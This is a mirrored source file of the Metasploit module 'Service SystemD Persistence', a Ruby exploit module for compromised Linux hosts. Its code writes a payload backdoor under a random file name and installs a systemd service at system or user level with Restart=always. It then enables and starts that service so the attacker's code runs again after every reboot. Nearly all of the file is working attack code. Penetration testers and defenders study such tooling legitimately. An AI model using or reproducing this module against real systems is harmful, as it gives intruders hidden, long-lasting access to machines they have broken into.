Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/init_systemd.rb
23592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::EXE # for generate_payload_exe
13
include Msf::Post::Linux::User # get_home_dir
14
include Msf::Exploit::Local::Persistence
15
prepend Msf::Exploit::Remote::AutoCheck
16
include Msf::Exploit::Deprecated
17
moved_from 'exploits/linux/local/service_persistence'
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'Service SystemD Persistence',
24
'Description' => %q{
25
This module will create a service on the box, and mark it for auto-restart.
26
We need enough access to write service files and potentially restart services
27
Targets:
28
CentOS 7
29
Debian >= 7, <=8
30
Fedora >= 15
31
Ubuntu >= 15.04
32
Verified on Ubuntu 18.04.3
33
},
34
'License' => MSF_LICENSE,
35
'Author' => [
36
'h00die <[email protected]>',
37
'Cale Black' # user target
38
],
39
'Platform' => ['unix', 'linux'],
40
'Privileged' => true,
41
'Targets' => [
42
['systemd', {}],
43
['systemd user', {}]
44
],
45
'DefaultTarget' => 0,
46
'Arch' => [
47
ARCH_CMD,
48
ARCH_X86,
49
ARCH_X64,
50
ARCH_ARMLE,
51
ARCH_AARCH64,
52
ARCH_PPC,
53
ARCH_MIPSLE,
54
ARCH_MIPSBE
55
],
56
'References' => [
57
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
58
['URL', 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/'],
59
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
60
],
61
'SessionTypes' => ['shell', 'meterpreter'],
62
'Notes' => {
63
'Stability' => [CRASH_SAFE],
64
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
65
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
66
},
67
'DisclosureDate' => '2010-03-30' # systemd release date
68
)
69
)
70
71
register_options(
72
[
73
OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
74
OptString.new('SERVICE', [false, 'Name of service to create']),
75
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ], conditions: ['Targets', '==', 'systemd user']),
76
]
77
)
78
register_advanced_options(
79
[
80
OptBool.new('EnableService', [true, 'Enable the service', true])
81
]
82
)
83
end
84
85
def check
86
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
87
print_warning('User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.') if target.name == 'systemd' && !is_root?
88
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
89
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
90
return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl')
91
92
CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
93
end
94
95
def target_user
96
return datastore['USER'] unless datastore['USER'].blank?
97
98
whoami
99
end
100
101
def install_persistence
102
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
103
backdoor = write_shell(writable_dir)
104
105
path = backdoor.split('/')[0...-1].join('/')
106
file = backdoor.split('/')[-1]
107
case target.name
108
when 'systemd'
109
systemd(path, file)
110
when 'systemd user'
111
systemd_user(path, file)
112
end
113
end
114
115
def write_shell(path)
116
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
117
backdoor = "#{path}/#{file_name}"
118
vprint_status("Writing backdoor to #{backdoor}")
119
if payload.arch.first == 'cmd'
120
write_file(backdoor, payload.encoded)
121
chmod(backdoor, 0o755)
122
else
123
upload_and_chmodx backdoor, generate_payload_exe
124
end
125
@clean_up_rc << "rm #{backdoor}\n"
126
127
fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
128
129
backdoor
130
end
131
132
def service_file(exec, target = 'multi-user.target')
133
<<~EOF
134
[Unit]
135
Description=Start daemon at boot time
136
After=
137
Requires=
138
[Service]
139
RestartSec=10s
140
Restart=always
141
TimeoutStartSec=5
142
RemainAfterExit=yes
143
ExecStart=#{exec}
144
[Install]
145
WantedBy=#{target}
146
EOF
147
end
148
149
def systemd(backdoor_path, backdoor_file)
150
if payload.arch.first == 'cmd'
151
script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}")
152
else
153
script = service_file("#{backdoor_path}/#{backdoor_file}")
154
end
155
156
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
157
service_name = "/lib/systemd/system/#{service_filename}.service"
158
vprint_status("Writing service: #{service_name}")
159
write_file(service_name, script)
160
161
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
162
163
@clean_up_rc << "rm #{service_name}\n"
164
if datastore['EnableService']
165
vprint_status('Enabling service')
166
cmd_exec("systemctl enable #{service_filename}.service")
167
end
168
vprint_status('Starting service')
169
cmd_exec("systemctl start #{service_filename}.service")
170
end
171
172
def systemd_user(backdoor_path, backdoor_file)
173
if payload.arch.first == 'cmd'
174
script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}", 'default.target')
175
else
176
script = service_file("#{backdoor_path}/#{backdoor_file}", 'default.target')
177
end
178
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
179
180
user = target_user
181
home = get_home_dir(user)
182
vprint_status('Creating user service directory')
183
cmd_exec("mkdir -p #{home}/.config/systemd/user")
184
185
service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
186
vprint_status("Writing service: #{service_name}")
187
188
write_file(service_name, script)
189
@clean_up_rc << "rm #{service_name}\n"
190
191
if !file_exist?(service_name)
192
print_error('File not written, check permissions. Attempting secondary location')
193
vprint_status('Creating user secondary service directory')
194
cmd_exec("mkdir -p #{home}/.local/share/systemd/user")
195
196
service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
197
vprint_status("Writing .local service: #{service_name}")
198
write_file(service_name, script)
199
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
200
@clean_up_rc << "rm #{service_name}\n"
201
end
202
203
# This was taken from pam_systemd(8)
204
systemd_socket_id = cmd_exec('id -u')
205
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
206
vprint_status('Reloading manager configuration')
207
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")
208
209
if datastore['EnableService']
210
vprint_status('Enabling service')
211
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
212
end
213
214
vprint_status("Starting service: #{service_filename}")
215
# Prefer restart over start, as it will execute already existing service files
216
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}")
217
end
218
end
219
220